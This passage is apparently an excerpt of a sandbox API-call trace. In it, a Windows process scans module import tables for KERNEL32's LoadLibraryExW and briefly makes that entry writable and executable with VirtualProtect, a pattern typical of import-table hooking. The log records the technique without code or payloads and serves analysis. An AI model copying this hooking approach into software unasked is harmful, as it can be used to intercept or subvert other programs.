ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.018] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0f20 [0071.018] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0f20 | out: hHeap=0x1ee0000) returned 1 [0071.018] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e90000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fef6e90000, AllocationBase=0x7fef6e90000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.018] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.018] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0f20 [0071.018] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0071.019] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.019] lstrcmpiA (lpString1="webio.dll", lpString2="KERNEL32.DLL") returned 1 [0071.019] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.019] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="GetLocalTime", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="GetProcessHeap", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="FormatMessageW", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="CompareStringW", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="GetVersionExA", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0071.019] lstrcmpiA (lpString1="CompareStringA", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="FileTimeToSystemTime", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="LoadLibraryExW") returned -1 [0071.019] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="lstrcmpiW", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="SetFilePointer", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="SetEndOfFile", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="OutputDebugStringA", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="SubmitThreadpoolWork", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="CallbackMayRunLong", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="CloseThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="CreateThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="CreateThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="SetThreadpoolTimer", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="CreateThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="FreeLibraryWhenCallbackReturns", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="GetDateFormatA", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="GetTickCount64", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="WaitForSingleObjectEx", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="CompareFileTime", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="lstrcmpA", lpString2="LoadLibraryExW") returned 1 [0071.020] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0071.020] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0071.021] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0071.021] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0071.021] lstrcmpiA (lpString1="LocalFileTimeToFileTime", lpString2="LoadLibraryExW") returned 1 [0071.021] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0071.021] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0071.021] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0071.021] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0071.021] lstrcmpiA (lpString1="HeapReAlloc", lpString2="LoadLibraryExW") returned -1 [0071.021] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0071.021] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.021] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.021] lstrcmpiA (lpString1="GetSystemTime", lpString2="LoadLibraryExW") returned -1 [0071.021] lstrcmpiA (lpString1="SystemTimeToFileTime", lpString2="LoadLibraryExW") returned 1 [0071.021] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.021] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.021] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.021] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.021] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.021] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.021] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0071.021] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.021] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0071.021] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0071.021] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.021] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.021] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0071.021] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.021] lstrcmpiA (lpString1="WS2_32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.021] lstrcmpiA (lpString1="DNSAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0071.021] lstrcmpiA (lpString1="NSI.dll", lpString2="KERNEL32.DLL") returned 1 [0071.021] lstrcmpiA (lpString1="CFGMGR32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.021] lstrcmpiA (lpString1="dhcpcsvc.DLL", lpString2="KERNEL32.DLL") returned -1 [0071.021] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0f20 | out: hHeap=0x1ee0000) returned 1 [0071.021] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e20000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fef6e20000, AllocationBase=0x7fef6e20000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.021] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.021] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0f20 [0071.021] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.021] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0071.022] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.022] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="WaitForThreadpoolTimerCallbacks", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="CreateThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="SubmitThreadpoolWork", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="CloseThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="StartThreadpoolIo", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="CreateThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="CancelThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="CloseThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="TrySubmitThreadpoolCallback", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="CallbackMayRunLong", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="CreateThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="CloseThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="GetCurrentProcessorNumber", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="InterlockedPushEntrySList", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="QueryDepthSList", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="InterlockedPopEntrySList", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="InitializeSListHead", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="RaiseFailFastException", lpString2="LoadLibraryExW") returned 1 [0071.022] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="LoadLibraryExW") returned -1 [0071.022] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0071.022] VirtualProtect (in: lpAddress=0x7fef6e5b250, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x2) returned 1 [0071.023] VirtualProtect (in: lpAddress=0x7fef6e5b250, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0071.023] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a10000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fef9a10000, AllocationBase=0x7fef9a10000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.023] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.023] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0f90 [0071.023] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0f90 | out: hHeap=0x1ee0000) returned 1 [0071.023] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd640000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefd640000, AllocationBase=0x7fefd640000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.023] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.023] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0f90 [0071.023] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.023] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0071.023] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.023] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.023] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.023] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0071.023] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0071.023] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0071.023] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="IsDBCSLeadByte", lpString2="LoadLibraryExW") returned -1 [0071.023] lstrcmpiA (lpString1="GetProfileIntW", lpString2="LoadLibraryExW") returned -1 [0071.023] lstrcmpiA (lpString1="lstrcmpW", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0071.023] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0071.023] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0071.023] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="LocalSize", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="LocalReAlloc", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="LocalFlags", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="_lclose", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="OpenFile", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="GetThreadLocale", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="BaseCheckAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="IsDBCSLeadByteEx", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="LocalUnlock", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="LocalLock", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.024] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0071.024] lstrcmpiA (lpString1="GetSystemWow64DirectoryW", lpString2="LoadLibraryExW") returned -1 [0071.025] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.025] lstrcmpiA (lpString1="MSCTF.dll", lpString2="KERNEL32.DLL") returned 1 [0071.025] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0f90 | out: hHeap=0x1ee0000) returned 1 [0071.025] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff080000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7feff080000, AllocationBase=0x7feff080000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.025] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.025] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0f90 [0071.025] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.025] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.025] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.025] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.025] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.025] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.025] lstrcmpiA (lpString1="UnhandledExceptionFilter", 